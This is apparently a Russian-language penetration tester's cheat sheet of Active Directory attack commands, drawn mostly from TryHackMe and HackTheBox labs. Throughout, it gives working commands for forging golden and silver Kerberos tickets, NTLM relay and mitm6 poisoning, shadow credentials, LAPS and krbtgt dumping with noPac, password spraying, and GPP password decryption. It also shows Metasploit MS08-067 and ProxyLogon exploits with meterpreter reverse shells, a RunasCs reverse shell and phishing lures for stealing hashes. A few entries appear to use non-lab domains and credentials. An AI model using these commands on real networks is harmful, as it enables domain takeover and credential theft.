kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /krbtgt:<NTLM hash of KRBTGT account> /endin:600 /renewmax:10080 /ptt
kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt
/admin — имя пользователя, которое мы хотим выдать за себя. Это не обязательно должен быть действительный пользователь.
/domain — полное доменное имя домена, для которого мы хотим создать билет.
/id — RID пользователя. По умолчанию Mimikatz использует RID 500, который является RID учетной записи администратора по умолчанию.
/sid — SID домена, для которого мы хотим сгенерировать билет.
/krbtgt — NTLM- хеш учетной записи KRBTGT.
/endin — срок действия билета. По умолчанию Mimikatz генерирует билет, действительный в течение 10 лет. по умолчанию Политика Kerberos для AD составляет 10 часов (600 минут).
/renewmax — максимальный срок действия билета с продлением. По умолчанию Mimikatz генерирует билет, действительный в течение 10 лет. по умолчанию Политика Kerberos для AD составляет 7 дней (10080 минут).
/ptt — этот флаг сообщает Mimikatz о необходимости внедрения билета непосредственно в сеанс, что означает, что он готов к использованию.
***Проверка
klist
PS C:\Tools\mimikatz_trunk\x64> dir \\thmdc.za.tryhackme.loc\c$\
Enter-PSSession dc01
SID домена
impacket-lookupsid inlanefreight.local/htb-student@dc01.inlanefreight.local -domain-sids
Создаем TGT
impacket-ticketer -nthash c0231bd8a4a4de92fca0760c0ba9e7a6 -domain-sid S-1-5-21-1870146311-1183348186-593267556 -domain inlanefreight.local Administrator
klist
Заходим...
wmiexec.py DC01.INLANEFREIGHT.LOCAL -k -no-pass
*** Создать Серебряный Билет
mimikatz.exe "kerberos::golden /domain:inlanefreight.local /user:Administrator /sid:S-1-5-21-2974783224-3764228556-2640795941 /rc4:ff955e93a130f5bb1a6565f32b7dc127 /target:sql01.inlanefreight.local /service:cifs /ticket:sql01.kirbi" exit
*** Создать жертвенный процесс
Rubeus.exe createnetonly /program:cmd.exe /show
Rubeus.exe ptt /ticket:sql01.kirbi
*** Проверяем
PSExec.exe -accepteula \\sql01.inlanefreight.local cmd
kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt
kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /target:THMSERVER1 /rc4:4c02d970f7b3da7f8ab6fa4dc77438f4 /service:cifs /ptt
/admin — имя пользователя, которое мы хотим выдать за себя. Это не обязательно должен быть действительный пользователь.
/domain — полное доменное имя домена, для которого мы хотим создать билет.
/id — RID пользователя. По умолчанию Mimikatz использует RID 500, который является RID учетной записи администратора по умолчанию.
/sid — SID домена, для которого мы хотим сгенерировать билет.
/target — имя хоста нашего целевого сервера. Давайте сделаем THMSERVER1.za.tryhackme.loc, но это может быть любой хост, присоединенный к домену.
/rc4 - NTLM -хеш учетной записи машины нашей цели. Просмотрите результаты синхронизации постоянного тока и найдите NTLM- хеш THMSERVER1$. Знак $ указывает, что это учетная запись компьютера.
/service — услуга, которую мы запрашиваем в нашем TGS. CIFS — беспроигрышный вариант, поскольку он обеспечивает доступ к файлам.
/ptt — этот флаг сообщает Mimikatz о необходимости внедрения билета непосредственно в сеанс, что означает, что он готов к использованию.
проверка
dir \\thmserver1.za.tryhackme.loc\c$\
SID domain
impacket-lookupsid inlanefreight.local/htb-student@dc01.inlanefreight.local -domain-sids
крафтим silver тикет from administrator и нужен hash хоста$
impacket-ticketer -nthash 542780725df68d3456a0672f59001987 -domain-sid S-1-5-21-1870146311-1183348186-593267556 -domain inlanefreight.local -spn cifs/dc01.inlanefreight.local Administrator
impacket-ticketer -nthash 1443EC19DA4DAC4FFC953BCA1B57B4CF -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -domain sequel.htb -dc-ip dc.sequel.htb -spn nonexistent/DC.SEQUEL.HTB Administrator
идем к службе ---->
export KRB5CCNAME=Administrator.ccache;
impacket-mssqlclient -k dc.sequel.htb
impacket-wmiexec -k -no-pass dc01.inlanefreight.local
impacket-addcomputer authority.htb/svc_ldap:lDaP_1n_th3_cle4r! -method LDAPS -computer-name 'Evil-PC' -computer-pass 'Password123'
sudo ntlmrelayx.py -t ldap://172.16.117.3 -smb2support --no-da --no-acl --add-computer 'plaintext$' (через ntlmrelay) + нужна провокация на идентификацию respnder or coerser)
- PSEXEC ПО БЕЛЕТУ PSExec.exe -accepteula \sql01.inlanefreight.local cmd
- smbexec xthtp ntlmrelay proxychains4 -q smbexec.py INLANEFREIGHT/PETER@172.16.117.50 -no-pass
.\RunasCs backup IZtLVsqMDMENsTTekNwKwHGrFpmANUFgxOwvHREm --bypass-uac --logon-type 8 cmd.exe -r 10.10.14.49:445
#ACL ( Net rpc and bloodyad and certypy
net rpc group addmem "SERVICEMGMT" "OOREND" -U "REBOUND.HTB/OOREND" -S "REBOUND.HTB" (Добавить пользователя в группу)
или
https://github.com/CravateRouge/bloodyAD?tab=readme-ov-file
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
./bloodyAD.py -d rebound.htb -u oorend -p '1GR8t@$$4u' --host dc01.rebound.htb add groupMember ServiceMgmt oorend ((Добавить пользователя в группу))
net rpc group members "ServiceMGMT" -U "rebound.htb"/"oorend"%'1GR8t@$$4u' -S "dc01.REBOUND.HTB" (проверка членов группы)
./bloodyAD.py -d rebound.htb -u oorend -p '1GR8t@$$4u' --host dc01.rebound.htb add genericAll 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' oorend (Generic all - добавить себя в OU )
./bloodyAD.py -d rebound.htb -u oorend -p '1GR8t@$$4u' --host dc01.rebound.htb set password winrm_svc 'Password123!' (смена пароля при наличии прав)
certipy shadow auto -username oorend@rebound.htb -password '1GR8t@$$4u' -k -account winrm_svc -target dc01.rebound.htb (shadow credential)
./bloodyAD.py -d rebound.htb -u oorend -p '1GR8t@$$4u' --host dc01.rebound.htb add shadowCredentials winrm_svc (shadow credential)
sudo python3 Responder.py -I ens192
sudo ntlmrelayx.py -t ldap://INLANEFREIGHT\\CJAQ@172.16.117.3 --shadow-credentials --shadow-target jperez --no-da --no-dump --no-acl --no-smb-server (Ловим CJAQ и заставляем его отдать сертификатShadowCredentials над jperz)
python3 gettgtpkinit.py -cert-pfx rbnYdUv8.pfx -pfx-pass NRzoep723H6Yfc0pY91Z INLANEFREIGHT.LOCAL/jperez jperez.ccache (Сохраняем TGT из сертификата)
KRB5CCNAME=jperez.ccache evil-winrm -i dc01.inlanefreight.local -r INLANEFREIGHT.LOCAL
python3 PKINITtools/gettgtpkinit.py -cert-pem ipWe9rd5_cert.pem -key-pem ipWe9rd5_priv.pem rebound.htb/winrm_svc ipWe9rd5.ccache (получение билета керберос)
python3 gettgtpkinit.py -dc-ip 172.16.117.3 -cert-pfx ws01.pfx 'INLANEFREIGHT.LOCAL/WS01$' ws01.ccache
export KRB5CCNAME=ipWe9rd5.ccache
evil-winrm -i dc01.rebound.htb -r rebound.htb
certipy-ad auth -pfx baker.pfx -dc-ip 10.10.11.69
Юзер состоит в групе LAPS Admin
https://github.com/n00py/LAPSDumper.git
$ python laps.py -u user -p e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c -d domain.local -l dc01.domain.local
В Виндовс Laps
https://github.com/leoloobeek/LAPSToolkit.git
Find-AdmPwdExtendedRights -Identity * (THMorg)
runas /netonly /user:bk-admin "cmd.exe"
Get-AdmPwdPassword -ComputerName Creds-Harvestin
smbcacls -N '//10.10.10.103/Department Shares'
smbclient -L 10.10.217.189 - подключение по смб
smbclient --no-pass //10.10.217.189/Users -смотрим папки
smbclient //10.10.218.125/users -c 'recurse;ls' (Ркурсивно просмотреть все шары)
*** Скачать рекурсивно все файлы изнутри
smb: > recurse on smb: > prompt off smb: > mget *
smbclient //192.168.50.232/Users -U ''
smbclient -N //192.168.50.232/Users
smbclient //192.168.50.232/Users -U Alexs
smbclient -L 192.168.50.200 -U Administrator
smbclient //192.168.50.162/Users -U Alex - переход по директориям
<< smbclient \\192.168.50.232\Users -U Alexs >>
smbmap -H 10.10.149.120 -u anonymous
smbmap -u '' -p '' -H 10.10.149.120
smbmap -u 'john' -p 'nt:lm_hash' -H 192.168.50.200
smbmap -d active.htb -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -H 10.10.10.100 !Для домена!
impacket-smbclient Tiffany.Molina:NewIntelligenceCorpUser9876@10.10.10.248 impacket-smbclient -k absolute.htb/svc_smb@dc.absolute.htb -target-ip 10.10.11.181 (перед этим получить tgt и export KRB5CCNAME= )
- shares - list available shares
- use {sharename} - connect to an specific share
Скачать сетевую шару!!!
smbget -R smb://10.10.11.207/Development
Примонтировать smb шару
mount -t cifs //10.10.10.134/Backups /mnt/smb
Показать доступные пользователю шары
crackmapexec smb 10.10.10.182 -u r.thompson -p rY4n5eva --shares
Брут локального администратора
cme smb discovery/hosts/windows.txt --local-auth -u Administrator -p passwords.txt
выполнение комманнд
crackmapexec 192.168.50.200 -u 'Administrator' -p 'Pass1' 'Pass2' -x ipconfig
crackmapexec smb 10.10.38.153 -u 'nik' -p 'ToastyBoi!' --shares -Доступные шары для узера
crackmapexec smb 10.10.11.222 -u '' -p '' --shares -анонимный вход
парольные политики
crackmapexec 192.168.50.200 -u 'Administrator' -p 'Pass1' 'Pass2' --pass-pol
crackmapexec 192.168.50.200 -u 'Administrator' -p 'Pass1' 'Pass2' --local-auth --sam
Перечисление открытых шар сети
crackmapexec smb 192.168.50.200/24
crackmapexec smb 192.168.50.162 -u 'Kevin' -p dict.txt (Password spray)
https://wiki.porchetta.industries/smb-protocol/enumeration/enumerate-domain-users
-------------------------------------------------снаружи домена сенить пароль пользователя smb
smbpasswd -r razo.thm -U bardkey
-------------еще энумерация SMB------------------------ enum4linux 10.10.11.108
rpcclient 10.10.38.153 -U nik - нужен пароль - может перечислять пользователей и группы в Домене (Remote Procedure Call работает на портах TCP 135 и UDP 135)
rpcclient 10.10.38.153 -U "" -N - не нужен пароль
enumdomusers - перчисляет пользователей
enumdomgroup - перечисляет группы
queryusergroups 0x47b - к какой группе принадлежит
querygroup 0x201 - что за группа
queryuser 0x47b - инфо о пользователе
Она может использоваться для выполнения различных действий, таких как получение информации о доступных службах, выполнение удаленных процедур и т. д.
-------------еще энумерация SMB------------------------ enum4linux 10.10.11.108
LDAP (Стоит проверить, разрешает ли служба LDAP анонимные привязки, с помощью инструмента ldapsearch.- имена даты пароли и т.д все выдвет!!!!)
!!!!!Временные метки ЛДАП
ldapsearch -x -H ldap://sizzle.htb.local -s base namingcontexts
https://www.epochconverter.com/ldap
ldapsearch -H ldap://192.168.2.251 -x -D 'ЛаврентьевАВ@ta-d.local' -w '414216819' -b 'dc=ta-d,dc=local' "(&(objectClass=user)(memberOf=CN=Администраторы домена,CN=Users,DC=ta-d,DC=local))" | grep sAMAccountName
---Выбираем user из группы Администраторы домена
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' -s sub
ldapsearch -H ldap://10.10.10.20 -x -b "DC=htb, DC=local" '(objectClass=User)' "sAMAccountName" | grep sAMAccountName (выбираем имена)
ldapsearch -H ldap://10.10.10.161 -x -b "DC=htb, DC=local" '(objectClass=User)' (толлко юзеры!!!)
(может сразу не работать!!!)
ldapsearch -H ldap://10.10.10.161 -x
ldapsearch -H ldap://10.10.10.161 -x -b "DC=htb, DC=local"
ldapsearch -H ldap://10.10.10.20 -x -b "DC=htb, DC=local" '(objectClass=User)' "sAMAccountName" | grep sAMAccountName
ldapsearch -H ldap://dc1.scrm.local -U ksimpson -b 'dc=scrm,dc=local'
ldapsearch -x -H ldap://10.10.10.182 -s base namingcontexts (Инфо о домене)
ldapsearch -x -H ldap://10.10.10.182 -s sub -b 'DC=cascade,DC=local' (Инфо в домене)
cat ldap_info| awk '{print $1}' | sort| uniq -c| sort -nr | grep ':'
можно попробовать - windapsearch
-------------еще энумерация LDAP и поиск доменных юзеров------------------------
impacket-GetADUsers egotistical-bank.local/ -dc-ip 10.10.10.175 -debug
impacket-GetADUsers active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -all
------------еще ldap-shell
https://github.com/PShlyundin/ldap_shell
https://github.com/ropnop/kerberos_windows_scripts/blob/master/kinit_horizontal_brute.sh
https://github.com/ropnop/kerbrute
./kerbrute_linux_amd64 userenum --dc 192.168.1.19 -d ignite.local users.txt (Проверка валидных пользоввателей с преатентификациеей)
~/kerbrute_linux_amd64 userenum --dc 10.10.10.52 -d htb.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt (Проверка валидных пользоввателей с преатентификациеей)
./kerbrute_linux_amd64 passwordspray --dc 192.168.1.19 -d ignite.local users.txt Password@1 (Распыление пароля)
./kerbrute_linux_amd64 bruteuser --dc 192.168.1.19 -d ignite.local pass.txt username
kerbrute passwordspray userlist NewIntelligenceCorpUser9876 --dc 10.10.10.248 -d intelligence.htb
Может не сработать тогда надо -->>> crackmapexec smb 10.10.10.248 -u username.txt -p NewIntelligenceCorpUser9876
python3 GetNPUsers.py enterprise.thm/ -dc-ip 10.10.38.153 -usersfile /home/max/users.txt -no-pass
impacket-GetNPUsers -no-pass raz0rblack.thm/ -usersfile user.txt -format hashcat -outputfile hash.txt
(НУЖНА АУТЕНТ ПО КЕРБЕРОС И НЕ НУЖНА)
impacket-GetNPUsers -dc-ip 10.10.10.161 htb.local/ -usersfile forest_user
impacket-GetNPUsers -dc-ip 10.10.10.161 htb.local/ -usersfile forest_user -request
impacket-GetNPUsers -dc-ip 10.10.10.161 -request 'htb.local/' (без списка пользователей)
impacket-getPac -targetUser administrator scrm.local/ksimpson:ksimpson
#Получить идентификатор пользователя
rpcclient $> lookupnames james(username)
impacket-getTGT scrm.local/ksimpson:ksimpson (домен/логин:пароль)
export KRB5CCNAME=ksimpson.ccache
sudo apt-get install krb5-user
kinit OOREND@REBOUND.HTB (также получить тикет и кеширует на диске)
klist - список билетов керберос
impacket-ticketer -spn MSSQLSvc/dc1.scrm.local -user-id 500 Administrator -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local
(хеш - ntlm хеш пароля службы)
goldenPac.py 'htb.local/james:J@m3s_P@ssW0rd!@mantis'
python3 GetUserSPNs.py -dc-ip 10.10.154.84 lab.enterprise.thm/nik:ToastyBoi! -request
impacket-GetUserSPNs -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
---получение SPN по билету TGT
impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -k -dc-host dc1.scrm.local -no-pass
impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -k -dc-host dc1.scrm.local -no-pass -request
"setspn -T TestDomain -Q /" (Теперь производится поиск доступных SPN в текущей среде при помощи следующей команды:)
dacledit.py -action 'write' -rights 'WriteMembers' -principal 'm.lovegod' -target 'Network Audit group' 'absolute.htb'/'m.lovegod:AbsoluteLDAP2022!' -k -dc-ip 10.10.11.181
Для взлома билета удаленной (SPN) службы используется скрипт tgsrepcrack.py из репозитория Kerberoast.
python tgsrepcrack.py wordlist.txt 1-40a10000-Bob@MSSQLSERVERSQL-Server.testdomain.com1433-TESTDOMAIN.COM.kirbi
script vuln -p 80 ip скрипты уязвимостей nmap [host] --script vuln -sV https://github.com/SkillfactoryCoding/HACKER-OS-nmap.vulners https://github.com/SkillfactoryCoding/HACKER-OS-vulscan
printnightMare (135 port) impacket-rpcdump @10.10.211.217 | egrep 'MS-RPRN|MS-PAR'
sudo responder -I tun0 -wdF
sudo tcpdump -i wlan0 icmp
1. sudo mitm6 -d bank.ats --ignore-nofqdn
Пояснение:
mitm6 — инструмент, который выдает себя за DHCPv6-сервер в локальной сети.
-d bank.ats — указывает домен, для которого mitm6 будет авторитетным DNS-сервером (в данном случае bank.ats).
--ignore-nofqdn — опция позволяет обрабатывать запросы даже от клиентов, не имеющих полного доменного имени (FQDN) .
Что происходит: Mitm6 использует тот факт, что Windows (начиная с Vista) по умолчанию запрашивает конфигурацию IPv6 через DHCPv6. Он отвечает на эти запросы, назначая клиентам IPv6-адреса и указывая себя в качестве DNS-сервера. Поскольку IPv6 имеет приоритет над IPv4 в Windows, все DNS-запросы (включая IPv4) начинают направляться на сервер злоумышленника .
2. Запуск ntlmrelayx для перехвата и ретрансляции запросов
sudo ntlmrelayx.py -6 -t ldaps://dc.bank.ats -wh fakewpad.bank.ats -l lootdir
Пояснение параметров:
-6 — указывает, что ntlmrelayx должен работать поверх IPv6.
-t ldaps://dc.bank.ats — целевой сервер, на который будут ретранслироваться аутентификационные данные (в данном случае контроллер домена dc.bank.ats по защищенному LDAPS). Это мог бы быть и другой протокол, например, http:// или smb:// .
-wh fakewpad.bank.ats — опция для размещения поддельного файла WPAD (Web Proxy Auto-Discovery). Это заставляет жертв использовать сервер злоумышленника в качестве прокси, что часто провоцирует отправку NTLM-хэшей .
-l lootdir — указывает директорию, куда будут сохраняться результаты атаки (например, перехваченные хэши, дампы SAM и т.д.)
rsync --list-only 10.129.228.37::
rsync --list-only 10.129.228.37::public
rsync 10.129.228.37::public/flag.txt flag.txt
CVE-2014-1812 — это критическая уязвимость в механизме Group Policy Preferences (GPP) Microsoft Windows, которая позволяет аутентифицированному злоумышленнику получать и расшифровывать пароли, хранящиеся в политиках домена (доступ SYSVOL или другие открытые ресурсы SMB, где могут храниться XML-файлы GPP)
* Расшифровка пароля из XML для груповой политики для старых Windows в файлах XML в общей папке SYSVOL
nxc smb <IP-адрес> -u <имя_пользователя> -p <пароль> --shares
nxc smb <IP-адрес> -u <имя_пользователя> -p <пароль> -M spider_plus --spider-share SYSVOL --spider-folder Policies
nxc smb <IP-адрес> -u <имя_пользователя> -p <пароль> -M gpp_autologin
nxc smb <IP-адрес> -u <имя_пользователя> -p <пароль> -M gpp_password
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
Metasploit: use auxiliary/scanner/smb/smb_enum_gpp
set RHOSTS <IP_DC>
set SMBUser <user>
set SMBPass <password>
run
smbclient //<target_ip>/SYSVOL -N
ls
get Policies\{Policy_GUID}\Machine\Preferences\Groups\Groups.xml
use auxiliary/scanner/smb/smb_enum_gpp
set RHOSTS <target_ip_or_range>
set SMBSHARE SYSVOL # Можно изменить на другой ресурс, например, Replication
run
Уязвимость MS14-068 (CVE-2014-6324) (CVE-2014-6324 (MS14-068) — это критическая уязвимость в протоколе Kerberos в Microsoft Windows, которая позволяет повысить привилегии обычного пользователя домена до уровня доменного администратора. Уязвимость существует в реализации проверки подписи PAC (Privilege Attribute Certificate) в билетах Kerberos)
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
set RHOST <DC_IP>
set USERNAME <user>
set PASSWORD <password>
set DOMAIN <domain.com>
run
systeminfo | find "KB3011780" (проверить обновление)
nmap --script smb-vuln-ms08-067 -p445 <целевой IP-адрес> (но может завалить систему)
msfconsole
search ms08-067 checker или search ms08-067 scanner (просто проверить на наличие уязвимости)
search ms08-067
use exploit/windows/smb/ms08_067_netapi
show options
set Rhosts
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
При исследовании сетевого трафика были выявлены сетевые пакеты инфраструктурных протоколов CDP, VTP и STP. Данные протоколы имеют ряд недостатков. Протокол CDP раскрывает информацию о сетевом оборудовании, сетевых адресах и имени маршрутизатора
Для протокола STP рекомендуется включить механизм BPDUFilter, который выполняет блокировку входящих BPDU-пакетов без выключения порта.
Для протокола VTP рекомендуется использовать протокол VTPv3.
scanner/ssh/ssh_enumusers
git clone https://github.com/Ridter/noPac.git
netexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ -проверяем машина квота
netexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac - проверяем нопак
python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap ---- - проверяем нопак
python noPac.py 'domain.local/user' -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' -dc-ip 10.10.10.10 -use-ldap -dump --- дампим все
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump -just-dc-user cgdomain/krbtgt --- дампим krbtgt
python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator --- дампим админ
git clone https://github.com/garrettfoster13/pre2k.git
cd pre2k
ls
pipx install .
pre2k auth -u raj -p Password@1 -dc-ip 192.168.1.48 -d ignite.local
nxc ldap 192.168.1.48 -u raj –p Password@1 -M pre2k
impacket-changepasswd ignite. расположение /DEMO$@ 192.168 . 1 . 48 -newpass 'Password@987' -p rpc-samr
getkyoseracreds.sh
-- in archive
pipx install git+https://github.com/garrettfoster13/sccmhunter/
sccmhunter.py find -u adm -p 'Apolo' -d kaban.zazprom.ru -dc-ip 10.*.*.*-debug
sccmhunter.py find -u blwasp -p Password123! -d lab.local -dc-ip 172.50.0.10
python3 sccmhunter.py show -all
sccmhunter.py smb -u blwasp -p Password123! -d lab.local -dc-ip 172.50.0.10 -save
git clone -q https://github.com/garrettfoster13/sccmhunter
cd sccmhunter
python3 -m venv .sccmhunter
source .sccmhunter/bin/activate
python3 -m pip install -r requirements.txt
Перечисление SCCM
python3 sccmhunter.py find -u blwasp -p Password123! -d lab.local -dc-ip 172.50.0.10
python3 sccmhunter.py show -all
python3 sccmhunter.py smb -u blwasp -p Password123! -d lab.local -dc-ip 172.50.0.10 -save
Сбор учетных данных:
Если есть администратора для компа - выятгиваем данные их dpapi
python3 sccmhunter.py dpapi -u rai -p Threathunting01 -d lab.local -dc-ip 172.50.0.10 -target 172.50.0.21 -wmi
В качестве альтернативы:
Либо используем скомпроментированнный комп либо создаем новый
addcomputer.py -computer-name 'PWNED$' -computer-pass 'ComputerPass123' -dc-ip 172.50.0.10 'LAB.LOCAL/Blwasp':'Password123!'
python3 sccmhunter.py http -u blwasp -p 'Password123!' -dc-ip 172.50.0.10 -cn 'PWNED$' -cp 'ComputerPass123' -debug
curl https://10.129.231.81/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application -k | xmllint --format - | grep version
The following versions of Microsoft Exchange are vulnerable to the exploit:
Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012
exploit(windows/http/exchange_proxylogon_rce)
msf exploit(windows/http/exchange_proxylogon_rce)
Name Current Setting Required Description
---- --------------- -------- -----------
EMAIL admin@mail.ru yes A known email address for this organization
METHOD POST yes HTTP Method to use for the check (Accepted: GET, POST)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS 10.10.6.20 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH /owa no The URI to use for this exploit (default is random)
UseAlternatePath false yes Use the IIS root dir as alternate path
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.12.116.43 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Powershell
https://ipaddress/sharename/picture.ico
git clone -q https://github.com/Greenwolf/ntlm_theft
cd ntlm_theft
python3 ntlm_theft.py -g htm -s <my_ip> -f student
sudo responder -I tun0
msfconsole -x "use exploit/windows/misc/hta_server; set LHOST 10.10.14.207; set LPORT 8443; set SRVHOST 10.10.14.207; run -j"
После того, как пользователь перейдет по ссылке и откроет файл, будет создана сессия Metasploit: